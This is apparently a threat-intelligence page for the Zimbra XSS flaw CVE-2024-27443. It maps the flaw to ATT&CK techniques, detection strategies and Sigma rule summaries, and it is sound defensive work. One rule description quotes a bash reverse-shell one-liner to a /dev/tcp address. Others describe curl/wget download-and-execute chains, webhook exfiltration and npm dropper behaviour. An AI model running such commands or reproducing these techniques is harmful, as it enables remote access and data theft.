Coverage › CVE-2024-27443
CVE-2024-27443 Mapped Sigma
Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability
- Vendor / product
- Synacor — Zimbra Collaboration Suite (ZCS)
- Description (CISA)
- Zimbra Collaboration contains a cross-site scripting (XSS) vulnerability in the CalendarInvite feature of the Zimbra webmail classic user interface. An attacker can exploit this vulnerability via an email message containing a crafted calendar header, leading to the execution of arbitrary JavaScript code.
- Added to KEV
- 2025-05-19
- Due date
- 2025-06-09
- Required action
- Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
- Known ransomware use
- Unknown
- CWE
- CWE-79
- CISA notes
- https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P46#Security_Fixes
https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P39#Security_Fixes
https://wiki.zimbra.com/wiki/Zimbra_Releases/10.0.7#Security_Fixes
https://nvd.nist.gov/vuln/detail/CVE-2024-27443 - Elsewhere
- cve.org · NVD · CISA KEV · JSON
ATT&CK techniques · CTID Mappings Explorer, ATT&CK 16.1, KEV snapshot 2025-07-28
4 mapping objects across 4 techniques. exploitation technique states how the vulnerability is exploited; primary and secondary impact state what exploitation achieves. They are different claims and are labelled as such.
| Technique | Mapping type | CTID comment | Status in v19.2 |
|---|---|---|---|
| T1566.002 Spearphishing Link | exploitation technique | Attackers can send a malicious email with a specially crafted calendar header in order to execute arbitrary JavaScript code in the browser. This can lead to email collection, which can then be exfiltrated. ref 1 |
live |
| T1041 Exfiltration Over C2 Channel | secondary impact | Attackers can send a malicious email with a specially crafted calendar header in order to execute arbitrary JavaScript code in the browser ref 1 |
live |
| T1059.004 Unix Shell | primary impact | Attackers can send a malicious email with a specially crafted calendar header in order to execute arbitrary JavaScript code in the browser ref 1 |
live |
| T1114 Email Collection | primary impact | Attackers can send a malicious email with a specially crafted calendar header in order to execute arbitrary JavaScript code in the browser ref 1 |
live |
Detection chain · ATT&CK Enterprise v19.2 detection strategies, analytics, log sources
T1041 Exfiltration Over C2 Channel secondary impact
- DET0348 Detection Strategy for Exfiltration Over C2 Channel
AN0988 WindowsIdentifies suspicious outbound traffic volume mismatches from processes that typically do not generate network activity, particularly over C2 protocols like HTTPS, DNS, or custom TCP/UDP ports, following file or data access.Tunable:
DataVolumeThresholdKnownBenignProcessesAN0989 LinuxMonitors for processes reading sensitive files then immediately initiating unusual outbound connections or bulk transfer sessions over persistent sockets, particularly with encrypted or binary payloads.Tunable:OutboundEntropyScoreConnectionDurationAN0990 macOSDetects unauthorized applications or scripts accessing sensitive data followed by establishing encrypted outbound communication to rare external destinations or with abnormal byte ratios.Tunable:ParentProcessAncestryProtocolListAN0991 ESXiDetects VMs sending outbound traffic through non-standard services or to unknown destinations. Exfiltration over reverse shells tunneled via VMkernel or custom payloads routed via hostd/vpxa.Tunable:GuestOSAllowListTransferSizeThresholdMBProtocolAllowList
Sigma rules tagged attack.t1041 (5)
Author: Florian Roth (Nextron Systems)
· 2024-05-31 · logsource: product=windows category=network_connection · 07837ab9-60e1-481f-a74d-c31fb496a94c
Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors
Author: Florian Roth (Nextron Systems)
· 2017-04-15 (modified 2021-11-27) · logsource: category=firewall · 881834a4-6659-4773-821e-1c151789d873
Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools
Author: Security Onion Solutions
· 2024-03-08 · logsource: product=opencanary category=application · b4e6b016-a2ac-4759-ad85-8000b300d61e
Detects instances where a TFTP service on an OpenCanary node has had a request.
Author: Daniil Yugoslavskiy, oscd.community
· 2019-10-24 (modified 2024-01-18) · logsource: product=windows category=process_creation · c75309a3-59f8-4a8d-9c2c-4c927ad50555
Detects the execution of well known tools that can be abused for data exfiltration and tunneling.
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2025-09-24 · logsource: product=linux category=process_creation · efd2eb09-b72e-4a61-8dc7-b1382a1e8983
Detects potential Shai Hulud NPM package attack attempting to exfiltrate data via curl to external webhook sites.
T1059.004 Unix Shell primary impact
- DET0384 Behavioral Detection of Unix Shell Execution
AN1081 LinuxDetects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.Tunable:
ExecutableNameUserContextParentProcessTimeWindowCommandLinePatternAN1082 macOSIdentifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.Tunable:ScriptLocationParentProcessUserRoleAN1083 ESXiDetects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.Tunable:UserContextCommandPatternShellPathAN1084 Network DevicesDetects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.Tunable:InterfaceCommandString
Sigma rules tagged attack.t1059.004 (18)
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2026-04-01 · logsource: product=linux category=process_creation · 0a23a62d-c5b3-468b-a072-25064a9a8c87
Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3.
On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper.
The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.
Author: @kostastsale
· 2025-11-22 · logsource: product=linux category=file_event · 11629c4d-0fe6-465b-be62-b39a1c442aad
Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell.
This is a hunting rule to identify potential threats that use long filenames to evade detection. Keep in mind that on a legitimate system, such long filenames can and are common. Run this detection in the context of threat hunting rather than alerting.
Adjust the threshold of filename length as needed based on your environment.
Author: Florian Roth (Nextron Systems)
· 2017-12-12 (modified 2022-10-05) · logsource: product=linux service=auditd · 1543ae20-cbdf-4ec1-8d12-7664d667a825
Detects relevant commands often related to malware or hacking activity
Author: @kostastsale
· 2025-11-22 · logsource: product=linux category=file_event · 179b3686-6271-4d87-807d-17d843a8af73
Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts.
These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.
Author: faloker
· 2020-02-12 (modified 2022-06-07) · logsource: product=aws service=cloudtrail · 1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df
Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.
Author: Florian Roth (Nextron Systems)
· 2017-08-21 (modified 2021-11-27) · logsource: product=linux · 2aa1440c-9ae9-4d92-84a7-a9e5f5e31695
Detects suspicious shell commands used in various exploit codes (see references)
Author: Florian Roth (Nextron Systems)
· 2017-04-09 (modified 2021-11-27) · logsource: product=linux · 41e5c73d-9983-4b69-bd03-e13b67e9623c
Detects suspicious shell commands used in various Equation Group scripts and tools
Author: Florian Roth (Nextron Systems)
· 2019-04-02 (modified 2021-11-27) · logsource: product=linux · 738d9bcf-6999-4fdb-b4ac-3033037db8ab
Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell
Author: Florian Roth (Nextron Systems)
· 2021-10-16 (modified 2022-12-25) · logsource: product=linux category=network_connection · 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Author: Florian Roth (Nextron Systems)
· 2017-08-24 (modified 2025-11-22) · logsource: product=linux · 8ec2c8b4-557a-4121-b87c-5dfb3a602fae
Detects suspicious command sequence that JexBoss
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2026-04-01 · logsource: product=macos category=process_creation · a09ee860-31b3-4586-8a68-0ebd74ce0e5f
Detects the macOS-specific execution chain of the plain-crypto-js malicious npm dependency in Axios NPM Package, including AppleScript execution via osascript, payload download, permission modification, execution, and cleanup.
Author: Aayush Gupta
· 2025-06-17 · logsource: product=linux category=process_creation · a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa
Detects suspicious use of command-line tools such as curl or wget to download remote
content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by
immediate execution, indicating potential malicious activity. This pattern is commonly used
by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.
Author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
· 2024-09-02 (modified 2026-01-08) · logsource: product=linux category=process_creation · bed978f8-7f3a-432b-82c5-9286a9b3031a
Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.
Author: Christopher Peacock @SecurePeacock, SCYTHE @scythe_io
· 2022-06-06 · logsource: product=linux category=process_creation · e4ffe466-6ff8-48d4-94bd-e32d1a6061e2
Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments
Author: Florian Roth (Nextron Systems)
· 2022-03-14 · logsource: product=linux category=process_creation · ea3ecad2-db86-4a89-ad0b-132a10d2db55
Detects suspicious interactive bash as a parent to rather uncommon child processes
All 18 rules on the technique page →
T1114 Email Collection primary impact
- DET0476 Email Collection via Local Email Access and Auto-Forwarding Behavior
AN1309 WindowsCorrelates creation of email forwarding rules or header anomalies (e.g., X-MS-Exchange-Organization-AutoForwarded) with suspicious process execution, file access of .pst/.ost files, and network connections to external SMTP servers.Tunable:
TimeWindowUserContextSMTPDomainListAN1310 LinuxDetects file access to mbox/maildir files in conjunction with curl/wget/postfix execution, or anomalous shell scripts harvesting user mail directories.Tunable:WatchedMailDirsProcessNameListTimeWindowAN1311 macOSMonitors Mail.app database or maildir file access, automation via AppleScript, and abnormal mail rule creation using scripting or UI automation frameworks.Tunable:ScriptProcessNameListWatchedMailFilesAN1312 Office SuiteCorrelates unusual auto-forwarding rule creation via Exchange Web Services or Outlook rules engine, presence of X-MS-Exchange-Organization-AutoForwarded headers, and logon session anomalies from abnormal IPs.Tunable:UserAgentListExternalSMTPDomainListTimeWindow
Sigma rules tagged attack.t1114 (4)
Author: Sorina Ionescu
· 2022-02-08 (modified 2022-11-17) · logsource: product=m365 service=threat_management · 18b88d08-d73e-4f21-bc25-4b9892a4fdd0
Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content
Author: Florian Roth (Nextron Systems)
· 2017-05-31 (modified 2022-10-09) · logsource: product=windows service=security · 24549159-ac1b-479c-8175-d42aea947cae
This events that are generated when using the hacktool Ruler by Sensepost
Author: FPT.EagleEye, Nasreddine Bencherchali (Nextron Systems)
· 2021-03-03 (modified 2023-03-24) · logsource: product=windows category=process_creation · 25676e10-2121-446e-80a4-71ff8506af47
Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27
Author: Nikita Khalimonenkov
· 2022-11-17 · logsource: product=m365 service=threat_management · 6897cd82-6664-11ed-9022-0242ac120002
Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud.
T1566.002 Spearphishing Link exploitation technique
- DET0107 Detection Strategy for Spearphishing Links
AN0298 WindowsCorrelation of inbound emails with embedded links followed by user-driven browser navigation to suspicious or obfuscated domains. Detection chain includes malicious URL in email → user click recorded in Office logs → browser process spawning unusual child processes (e.g., PowerShell, cmd) or download activity.m365:unified
Send/Receive: Inbound emails containing embedded or shortened URLs→ DC0038 Application Log ContentTunable:SuspiciousTLDsURLShortenerDomainsClickToExecutionWindowAN0299 LinuxDetection of spearphishing links through mail logs and browser activity. Behavior includes email with suspicious URLs → user click recorded in mail/web proxy logs → shell or interpreter launched from browser process.Application:MailInbound emails containing hyperlinks from suspicious sources→ DC0038 Application Log Contentauditd:SYSCALLexecve: Execution of scripts or binaries spawned from browser processes→ DC0032 Process CreationNSM:FlowOutbound requests to domains not previously resolved or associated with phishing campaigns→ DC0078 Network Traffic FlowTunable:MonitoredBrowsersPhishingIndicatorsAN0300 macOSCorrelation of Mail.app logs with Safari/Chrome activity. Suspicious behavior includes email links → Safari/Chrome accessing newly registered or lookalike domains → osascript or Terminal spawned unexpectedly.macos:unifiedlogBrowser processes launching unexpected interpreters (osascript, bash)→ DC0032 Process Creationmacos:unifiedlogConnections to suspicious domains with mismatched certificate or unusual patterns→ DC0085 Network Traffic ContentTunable:CertificateAnomaliesExecutionDelayThresholdAN0301 Identity ProviderDetection of OAuth consent phishing or malicious login attempts initiated through spearphishing links. Behavior chain includes inbound email with OAuth URL → consent page visited → unusual token grants logged in IdP logs.azure:signinlogsConsentGrant: Suspicious consent grants to non-approved or unknown applications→ DC0038 Application Log ContentTunable:AllowedAppsAnomalousConsentPatterns
Sigma rules tagged attack.t1566.002 (4)
Author: Marco Pedrinazzi (@pedrinazziM) (InTheCyber)
· 2026-01-27 · logsource: product=m365 service=audit · 3569aefd-e535-4391-8c18-24bd01a21eaf
Detects instances where an email, identified as malicious or suspicious by the Microsoft Defender for Office 365 (formerly ATP) engine, was delivered to a user's Inbox or Junk folder.
It might indicate that a potential threat, such as a spearphishing attachment or links, has bypassed initial blocking mechanisms and reached an end-user, requiring further investigation and potential remediation.
Author: jamesc-grafana
· 2024-07-11 (modified 2025-12-08) · logsource: product=aws service=cloudtrail · 38e7f511-3f74-41d4-836e-f57dfa18eead
Detect when System Manager successfully executes commands against an instance.
Author: Tim Rauch (rule), Elastic (idea)
· 2022-10-21 (modified 2022-12-28) · logsource: product=macos category=process_creation · 6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4
Detects when the macOS Script Editor utility spawns an unusual child process.
Author: uniqu3-us3r
· 2026-04-28 · logsource: category=proxy · e0e121d0-be4d-4281-af7e-17abbba4a408
Detects outbound web proxy requests to URLs matching the EvilTokens Phishing-as-a-Service (PhaaS) kit infrastructure.
Specifically Cloudflare Workers and Railway.app domains used in OAuth device code authorization phishing attacks.
This indicates a user has clicked a phishing link.